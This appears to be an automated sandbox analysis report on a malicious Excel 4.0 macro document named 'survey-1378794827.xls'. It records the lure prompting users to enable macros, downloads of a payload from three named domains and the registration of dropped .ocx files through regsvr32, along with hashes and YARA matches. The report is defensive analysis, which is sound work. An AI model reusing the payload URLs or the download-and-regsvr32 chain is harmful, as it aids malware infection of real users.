Windows Analysis Report survey-1378794827.xls

Overview

General Information

Sample Name:	survey-1378794827.xls
Analysis ID:	528581
MD5:	7858cdbf85a5751a0853620c8908df14
SHA1:	8200d0104d40b68f9e523a1331dd77a8d36a827f
SHA256:	37ec1209daa15ba2bb2a9d9c372960703125e0b0acfa0736cb2ae10edfad7d62
Infos:
Most interesting Screenshot:

Detection

Hidden Macro 4.0

Score:	64
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Sigma detected: Microsoft Office Product Spawning Windows Shell

Document exploit detected (process start blacklist hit)

Document exploit detected (UrlDownloadToFile)

Yara detected hidden Macro 4.0 in Excel

Yara signature match

Found a hidden Excel 4.0 Macro sheet

Potential document exploit detected (unknown TCP traffic)

Uses a known web browser user agent for HTTP communication

May sleep (evasive loops) to hinder dynamic analysis

Document contains embedded VBA macros

JA3 SSL client fingerprint seen in connection with other malware

Potential document exploit detected (performs DNS queries)

Potential document exploit detected (performs HTTP gets)

Document misses a certain OLE stream usually present in this Microsoft Office document type

Classification

Signatures

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: unknown	HTTPS traffic detected: 192.185.79.2:443 -> 192.168.2.22:49165 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 192.185.129.7:443 -> 192.168.2.22:49166 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.247.11.218:443 -> 192.168.2.22:49167 version: TLS 1.2

Software Vulnerabilities:

Document exploit detected (process start blacklist hit)

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Process created: C:\Windows\System32\regsvr32.exe

Document exploit detected (UrlDownloadToFile)

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Section loaded: \KnownDlls\api-ms-win-downlevel-shlwapi-l2-1-0.dll origin: URLDownloadToFileA

Jump to behavior

Potential document exploit detected (unknown TCP traffic)

Source: global traffic

TCP traffic: 192.168.2.22:49165 -> 192.185.79.2:443

Potential document exploit detected (performs DNS queries)

Source: global traffic

DNS query: name: klevvrtech.com

Potential document exploit detected (performs HTTP gets)

Source: global traffic

TCP traffic: 192.168.2.22:49165 -> 192.185.79.2:443

Networking:

Uses a known web browser user agent for HTTP communication

Source: global traffic	HTTP traffic detected: GET /zxywJAC24KJ/ji.html HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: klevvrtech.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /OYcMRJbL/ji.html HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: srkcampus.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /fbmKk6n48G/ji.html HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: rstebet.co.idConnection: Keep-Alive

JA3 SSL client fingerprint seen in connection with other malware

Source: Joe Sandbox View

JA3 fingerprint: 7dcce5b76c8b17472d024758970a406b

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49167
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49166
Source: unknown	Network traffic detected: HTTP traffic on port 49165 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49165
Source: unknown	Network traffic detected: HTTP traffic on port 49167 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49166 -> 443

Source: regsvr32.exe, 00000003.00000002.446628445.00000000049A0000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.460419684.0000000004920000.00000002.00020000.sdmp

String found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail)

Source: regsvr32.exe, 00000003.00000002.446628445.00000000049A0000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.460419684.0000000004920000.00000002.00020000.sdmp	String found in binary or memory: http://investor.msn.com
Source: regsvr32.exe, 00000003.00000002.446628445.00000000049A0000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.460419684.0000000004920000.00000002.00020000.sdmp	String found in binary or memory: http://investor.msn.com/
Source: regsvr32.exe, 00000003.00000002.446792904.0000000004B87000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.460700581.0000000004B07000.00000002.00020000.sdmp, regsvr32.exe, 00000005.00000002.439821298.0000000004A97000.00000002.00020000.sdmp	String found in binary or memory: http://localizability/practices/XML.asp
Source: regsvr32.exe, 00000003.00000002.446792904.0000000004B87000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.460700581.0000000004B07000.00000002.00020000.sdmp, regsvr32.exe, 00000005.00000002.439821298.0000000004A97000.00000002.00020000.sdmp	String found in binary or memory: http://localizability/practices/XMLConfiguration.asp
Source: regsvr32.exe, 00000003.00000002.446194277.0000000003A70000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.459908784.0000000003990000.00000002.00020000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: regsvr32.exe, 00000003.00000002.444152722.0000000001CA0000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.459305635.0000000001C80000.00000002.00020000.sdmp, regsvr32.exe, 00000005.00000002.438784192.0000000001D00000.00000002.00020000.sdmp	String found in binary or memory: http://servername/isapibackend.dll
Source: regsvr32.exe, 00000003.00000002.446792904.0000000004B87000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.460700581.0000000004B07000.00000002.00020000.sdmp, regsvr32.exe, 00000005.00000002.439821298.0000000004A97000.00000002.00020000.sdmp	String found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
Source: regsvr32.exe, 00000003.00000002.446792904.0000000004B87000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.460700581.0000000004B07000.00000002.00020000.sdmp, regsvr32.exe, 00000005.00000002.439821298.0000000004A97000.00000002.00020000.sdmp	String found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true
Source: regsvr32.exe, 00000003.00000002.446194277.0000000003A70000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.459908784.0000000003990000.00000002.00020000.sdmp	String found in binary or memory: http://www.%s.comPA
Source: regsvr32.exe, 00000003.00000002.446628445.00000000049A0000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.460419684.0000000004920000.00000002.00020000.sdmp	String found in binary or memory: http://www.hotmail.com/oe
Source: regsvr32.exe, 00000003.00000002.446792904.0000000004B87000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.460700581.0000000004B07000.00000002.00020000.sdmp, regsvr32.exe, 00000005.00000002.439821298.0000000004A97000.00000002.00020000.sdmp	String found in binary or memory: http://www.icra.org/vocabulary/.
Source: regsvr32.exe, 00000003.00000002.446628445.00000000049A0000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.460419684.0000000004920000.00000002.00020000.sdmp	String found in binary or memory: http://www.msnbc.com/news/ticker.txt
Source: regsvr32.exe, 00000004.00000002.460419684.0000000004920000.00000002.00020000.sdmp	String found in binary or memory: http://www.windows.com/pctv.

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\ji[1].htm

Jump to behavior

Source: unknown

DNS traffic detected: queries for: klevvrtech.com

Source: global traffic	HTTP traffic detected: GET /zxywJAC24KJ/ji.html HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: klevvrtech.comConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /OYcMRJbL/ji.html HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: srkcampus.orgConnection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /fbmKk6n48G/ji.html HTTP/1.1Accept: /UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: rstebet.co.idConnection: Keep-Alive

Source: unknown	HTTPS traffic detected: 192.185.79.2:443 -> 192.168.2.22:49165 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 192.185.129.7:443 -> 192.168.2.22:49166 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 103.247.11.218:443 -> 192.168.2.22:49167 version: TLS 1.2

System Summary:

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)

Source: Screenshot number: 4	Screenshot OCR: Enable Editing 18 '9 41' I 20 (D PROTECTED VIEW Be careful- files from the 1nterne cted View.
Source: Screenshot number: 4	Screenshot OCR: Enable Content 25 26 G) SECURITY WARNING Macros have been disabled. Enable Content 27 28 29 30
Source: Screenshot number: 8	Screenshot OCR: Enable Editing ., le, No RETURNQ or HALTQ function found on maao sheet. 18 19 I ' : 20 (D PROTE
Source: Screenshot number: 8	Screenshot OCR: Enable Content 25 26 G) SECURITY WARNING Macros have been disabled. Enable Content 27 28 29 30
Source: Document image extraction number: 0	Screenshot OCR: Enable Editing 0 PROTECTED VIEW Be careful - files from the Internet can contain viruses. Unless yo
Source: Document image extraction number: 0	Screenshot OCR: Enable Content OSECURITY WARNING Macros have been disabled. Enable Content om If you are using a m
Source: Document image extraction number: 1	Screenshot OCR: Enable Editing (D PROTECTED VIEW Be careful - files from the Internet can contain viruses. Unless y
Source: Document image extraction number: 1	Screenshot OCR: Enable Content OSECURITY WARNING Macros have been disabled. Enable Content om If you are using a m
Source: Screenshot number: 12	Screenshot OCR: Enable Editing d 18 19 20 (D PROTECTED VIEW Be careful - files from the Internet can contain viru
Source: Screenshot number: 12	Screenshot OCR: Enable Content 25 26 G) SECURITY WARNING Macros have been disabled. Enable Content 27 28 29 30

Yara signature match

Source: survey-1378794827.xls, type: SAMPLE	Matched rule: SUSP_Excel4Macro_AutoOpen date = 2020-03-26, author = John Lambert @JohnLaTwC, description = Detects Excel4 macro use with auto open / close, score = 2fb198f6ad33d0f26fb94a1aa159fef7296e0421da68887b8f2548bbd227e58f
Source: C:\Users\user\Desktop\survey-1378794827.xls, type: DROPPED	Matched rule: SUSP_Excel4Macro_AutoOpen date = 2020-03-26, author = John Lambert @JohnLaTwC, description = Detects Excel4 macro use with auto open / close, score = 2fb198f6ad33d0f26fb94a1aa159fef7296e0421da68887b8f2548bbd227e58f

Found a hidden Excel 4.0 Macro sheet

Source: survey-1378794827.xls	Macro extractor: Sheet name: Buk1
Source: survey-1378794827.xls	Macro extractor: Sheet name: Buk4
Source: survey-1378794827.xls	Macro extractor: Sheet name: Buk6
Source: survey-1378794827.xls	Macro extractor: Sheet name: Buk7
Source: survey-1378794827.xls	Macro extractor: Sheet name: Buk2
Source: survey-1378794827.xls	Macro extractor: Sheet name: Buk3

Document contains embedded VBA macros

Source: survey-1378794827.xls	OLE indicator, VBA macros: true
Source: survey-1378794827.xls.0.dr	OLE indicator, VBA macros: true

Document misses a certain OLE stream usually present in this Microsoft Office document type

Source: A5B1.tmp.0.dr

OLE stream indicators for Word, Excel, PowerPoint, and Visio: all false

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\SystemCertificates\CA

Jump to behavior

Source: survey-1378794827.xls	OLE indicator, Workbook stream: true
Source: survey-1378794827.xls.0.dr	OLE indicator, Workbook stream: true

Source: unknown	Process created: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE "C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe "C:\Windows\System32\regsvr32.exe" C:\Datop\besta.ocx
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe "C:\Windows\System32\regsvr32.exe" C:\Datop\bestb.ocx
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe "C:\Windows\System32\regsvr32.exe" C:\Datop\bestc.ocx
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe "C:\Windows\System32\regsvr32.exe" C:\Datop\besta.ocx	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe "C:\Windows\System32\regsvr32.exe" C:\Datop\bestb.ocx	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process created: C:\Windows\System32\regsvr32.exe "C:\Windows\System32\regsvr32.exe" C:\Datop\bestc.ocx	Jump to behavior

Source: regsvr32.exe, 00000003.00000002.446628445.00000000049A0000.00000002.00020000.sdmp, regsvr32.exe, 00000004.00000002.460419684.0000000004920000.00000002.00020000.sdmp

Binary or memory string: .VBPud<_

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File created: C:\Users\user\AppData\Local\Temp\CVREB38.tmp

Jump to behavior

Source: classification engine

Classification label: mal64.expl.winXLS@7/4@3/3

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Automated click: OK
Source: C:\Windows\System32\regsvr32.exe	Automated click: OK
Source: C:\Windows\System32\regsvr32.exe	Automated click: OK
Source: C:\Windows\System32\regsvr32.exe	Automated click: OK

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\14.0\Excel\Resiliency\StartupItems

Jump to behavior

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE

File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll

Jump to behavior

Source: A5B1.tmp.0.dr

Initial sample: OLE indicators vbamacros = False

Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion:

May sleep (evasive loops) to hinder dynamic analysis

Source: C:\Windows\System32\regsvr32.exe TID: 1292	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 668	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\regsvr32.exe TID: 2364	Thread sleep time: -60000s >= -30000s	Jump to behavior

HIPS / PFW / Operating System Protection Evasion:

Yara detected hidden Macro 4.0 in Excel

Source: Yara match	File source: survey-1378794827.xls, type: SAMPLE
Source: Yara match	File source: C:\Users\user\Desktop\survey-1378794827.xls, type: DROPPED

Screenshots

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Network Map

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Contacted Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
192.185.129.7	srkcampus.org	United States	46606	UNIFIEDLAYER-AS-1US	false
192.185.79.2	klevvrtech.com	United States	46606	UNIFIEDLAYER-AS-1US	false
103.247.11.218	rstebet.co.id	Indonesia	58487	RUMAHWEB-AS-IDRumahwebIndonesiaCVID	false

Contacted Domains

Name	IP	Active
klevvrtech.com	192.185.79.2	true
rstebet.co.id	103.247.11.218	true
srkcampus.org	192.185.129.7	true

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://klevvrtech.com/zxywJAC24KJ/ji.html	false	Avira URL Cloud: safe	unknown
https://srkcampus.org/OYcMRJbL/ji.html	false	Avira URL Cloud: safe	unknown
https://rstebet.co.id/fbmKk6n48G/ji.html	false	Avira URL Cloud: safe	unknown

ID:	528581
Product:	CloudBasic
Start time:	14:25:46
Start date:	25.11.2021
Sample:	survey-1378794827.xls
Cookbook:	defaultwindowsofficecookbook.jbs
System description:	Windows 7 x64 SP1 with Office 2010 SP1 (IE 11, FF52, Chrome 57, Adobe Reader DC 15, Flash 25.0.0.127, Java 8 Update 121, .NET 4.6.2)
Architecture:	WINDOWS
MD5:	7858cdbf85a5751a0853620c8908df14
SHA1:	8200d0104d40b68f9e523a1331dd77a8d36a827f
SHA256:	37ec1209daa15ba2bb2a9d9c372960703125e0b0acfa0736cb2ae10edfad7d62
Filetype:	Microsoft Excel sheet (30009/1) 78.94%

Name	Type	MD5	SHA1	SHA256
C:\Users\user\AppData\Local\Temp\A5B1.tmp	Composite Document File V2 Document, Cannot read section info	72F5C05B7EA8DD6059BF59F50B22DF33	D5AF52E129E15E3A34772806F6C5FBF132E7408E	1DC0C8D7304C177AD0E74D3D2F1002EB773F4B180685A7DF6BBE75CCC24B0164
C:\Users\user\AppData\Local\Temp\~DF6B851E0CDFC5B426.TMP	data	321156BB89EBDBE9CAEC80FB2A150C47	075C7AF142F023726A0A6246AF33B934C30DB540	CB714098CBB73CAB579390D9EF687D1B260B30A6303C4BAFB77D8DBCB0E8BC4E
C:\Users\user\AppData\Local\Temp\~DFC61FD91824AB246B.TMP	data	BF619EAC0CDF3F68D496EA9344137E8B	5C3EB80066420002BC3DCC7CA4AB6EFAD7ED4AE5	076A27C79E5ACE2A3D47F9DD2E83E4FF6EA8872B3C2218F66C92B89B55F36560
C:\Users\user\Desktop\survey-1378794827.xls	Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1251, Name of Creating Application: Microsoft Excel, Create Time/Date: Fri Jun 5 19:19:34 2015, Last Saved Time/Date: Thu Nov 25 10:07:14 2021, Security: 0	F1BEF76841BECEE221944D0C436BE0E5	9C37635EECCBA5F2D2088F4600D17013A9B38879	8B0F987444368354AB0A9BE324FE8EFB3E700CCE52F8F059D78F63196D0601BA

Windows Analysis Report survey-1378794827.xls

Overview

General Information

Detection

Signatures

Classification

Signatures

Compliance:

Software Vulnerabilities:

Networking:

System Summary:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

HIPS / PFW / Operating System Protection Evasion:

Screenshots

Behavior Graph

Network Map

Contacted Public IPs

Contacted Domains

Contacted URLs